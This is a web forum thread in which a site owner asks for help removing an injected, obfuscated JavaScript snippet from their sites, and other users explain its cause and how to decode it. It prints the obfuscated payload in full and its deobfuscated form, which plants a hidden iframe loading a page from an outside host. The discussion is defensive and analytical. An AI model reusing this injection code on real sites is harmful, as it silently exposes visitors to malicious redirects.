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sharema1
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malware attack

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Below Malware script attacked my sites . i removed it more that 15 times but it is coming again and again . Changing the ftp passwords in 2 hour once but no use . help me to remove this script and stop its routine attack .

"<script>if(window.document)aa=/s/g.exec("s").index+[];aaa='0';if(aa.indexOf(aaa)===0){ss='';s=String;ee='e';e=window.eval;t='y';}h=2*Math.cos(Math.PI);n=[3.5,3.5,51.5,50,15,19,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,19.5,60.5,3.5,3.5,3.5,51.5,50,56,47.5,53.5,49.5,56,19,19.5,28.5,3.5,3.5,61.5,15,49.5,53,56.5,49.5,15,60.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,58.5,56,51.5,57,49.5,19,16,29,51.5,50,56,47.5,53.5,49.5,15,56.5,56,48.5,29.5,18.5,51,57,57,55,28,22.5,22.5,57,49,56.5,24.5,26,22,25,53.5,59.5,49,54.5,53.5,47.5,51.5,54,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,15,58.5,51.5,49,57,51,29.5,18.5,23.5,23,18.5,15,51,49.5,51.5,50.5,51,57,29.5,18.5,23.5,23,18.5,15,56.5,57,59.5,53,49.5,29.5,18.5,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,28,51,51.5,49,49,49.5,54,28.5,55,54.5,56.5,51.5,57,51.5,54.5,54,28,47.5,48,56.5,54.5,53,57.5,57,49.5,28.5,53,49.5,50,57,28,23,28.5,57,54.5,55,28,23,28.5,18.5,30,29,22.5,51.5,50,56,47.5,53.5,49.5,30,16,19.5,28.5,3.5,3.5,61.5,3.5,3.5,50,57.5,54,48.5,57,51.5,54.5,54,15,51.5,50,56,47.5,53.5,49.5,56,19,19.5,60.5,3.5,3.5,3.5,58,47.5,56,15,50,15,29.5,15,49,54.5,48.5,57.5,53.5,49.5,54,57,22,48.5,56,49.5,47.5,57,49.5,33.5,53,49.5,53.5,49.5,54,57,19,18.5,51.5,50,56,47.5,53.5,49.5,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,56.5,56,48.5,18.5,21,18.5,51,57,57,55,28,22.5,22.5,57,49,56.5,24.5,26,22,25,53.5,59.5,49,54.5,53.5,47.5,51.5,54,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,19.5,28.5,50,22,56.5,57,59.5,53,49.5,22,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,29.5,18.5,51,51.5,49,49,49.5,54,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,55,54.5,56.5,51.5,57,51.5,54.5,54,29.5,18.5,47.5,48,56.5,54.5,53,57.5,57,49.5,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,53,49.5,50,57,29.5,18.5,23,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,57,54.5,55,29.5,18.5,23,18.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,58.5,51.5,49,57,51,18.5,21,18.5,23.5,23,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,51,49.5,51.5,50.5,51,57,18.5,21,18.5,23.5,23,18.5,19.5,28.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,22,47.5,55,55,49.5,54,49,32.5,51,51.5,53,49,19,50,19.5,28.5,3.5,3.5,61.5];f='f'+'romChar';for(i=0;i-n.length<0;i++){j=i;ss=ss+String[f+'Code'](-h*(1+n[j]));}q=ss;e(q);</script> "
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Celauran
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Re: malware attack

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sharema1 wrote:Below Malware script attacked my sites
I don't think so. That script is a side-effect of the problem, not the problem itself. Looks like you've got some security vulnerabilities in your scripts. If you're using any third-party scripts (WordPress, Joomla, etc) then make sure they're patched and up-to-date. Aside from that, you'll likely need someone to go through your site one file at a time.
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Re: malware attack

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If it helps at all, here is the unobfuscated JavaScript:

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if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://tds36.4mydomain.com/stds/go.php?sid=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://tds36.4mydomain.com/stds/go.php?sid=1');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}
As you can see, the script inserts a hidden iframe with a src of http: //tds36.4mydomain.com/stds/go.php?sid=1. That link is timing out for me right now using wget. I don't recommend visiting that link with a browser.
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Re: malware attack

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by the way, how did you decode this code ?
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Re: malware attack

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sangfroid wrote:by the way, how did you decode this code ?
If you remove the `e(q);` (`e` function was defined as `window.eval`) and run it in Firebug or the like then it will output a string which is the code to run. Then paste it into http://jsbeautifier.org/ to format it with readable spaces and tabs.

Unless you use a true scrambler like JScrambler it is usually not too hard to follow obfuscated JavaScript.
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